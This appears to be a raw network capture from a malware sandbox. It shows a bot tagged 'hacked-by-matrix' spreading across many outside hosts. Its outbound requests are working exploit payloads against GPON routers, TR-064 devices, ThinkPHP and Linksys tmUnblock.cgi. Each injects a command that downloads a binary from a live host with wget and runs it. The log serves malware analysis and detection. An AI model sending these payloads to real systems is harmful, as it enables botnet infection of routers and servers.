Mar 21, 2024 05:22:01.101654053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.14	47424	94.218.211.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.101681948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.14	45614	87.196.140.112	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.833429098 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.14	54444	118.54.51.114	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:03.138830900 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:04.703290939 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:05.018484116 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:22:04 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.14	38740	88.99.174.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:03.140037060 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:03.697134972 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:04.225399971 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:04.397953033 CET	442	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:04 GMT Content-Type: text/html Content-Length: 150 Connection: close X-Powered-By: WordOps X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.14	57108	88.28.200.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:03.273081064 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:03.561286926 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Mar 21, 2024 05:22:03.561306000 CET	112	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 3c 68 Data Ascii: Keep-Alive: timeout=20X-Frame-Options: SAMEORIGINContent-Type: text/html<h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.14	60086	27.54.84.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:03.323582888 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:04.926582098 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:05.227861881 CET	288	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:05 GMT Content-Type: text/html Content-Length: 150 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:22:05.227952957 CET	200	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.14	48958	100.24.72.43	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:03.466854095 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:04.030843973 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:04.670614004 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:05.956250906 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:06.052155972 CET	283	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:22:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive ETag: W/"65bf63ee-18" Content-Encoding: gzip Data Raw: 32 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 73 4e 4d ce 54 c8 53 4f 2d 2e 51 28 48 2c 56 28 cd 4b 05 d2 e9 a9 5c 00 0a ce 09 c5 18 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 2asNMTSO-.Q(H,V(K\0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.14	37782	112.149.209.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:03.593512058 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:03.906013012 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>
Mar 21, 2024 05:22:04.885853052 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.14	55808	88.146.174.120	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:03.705302000 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:03.886378050 CET	501	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:03 GMT Server: Apache/2.4.38 (Debian) Content-Length: 307 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 6e 69 70 65 2e 6c 6f 63 61 6c 2e 6c 61 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at snipe.local.lan Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.14	59114	14.81.111.239	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.146123886 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.14	38532	210.236.226.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176398039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.14	36564	109.206.226.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176698923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.14	59936	94.61.75.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.176723003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.14	44602	42.174.26.212	443

Timestamp	Bytes transferred	Direction	Data
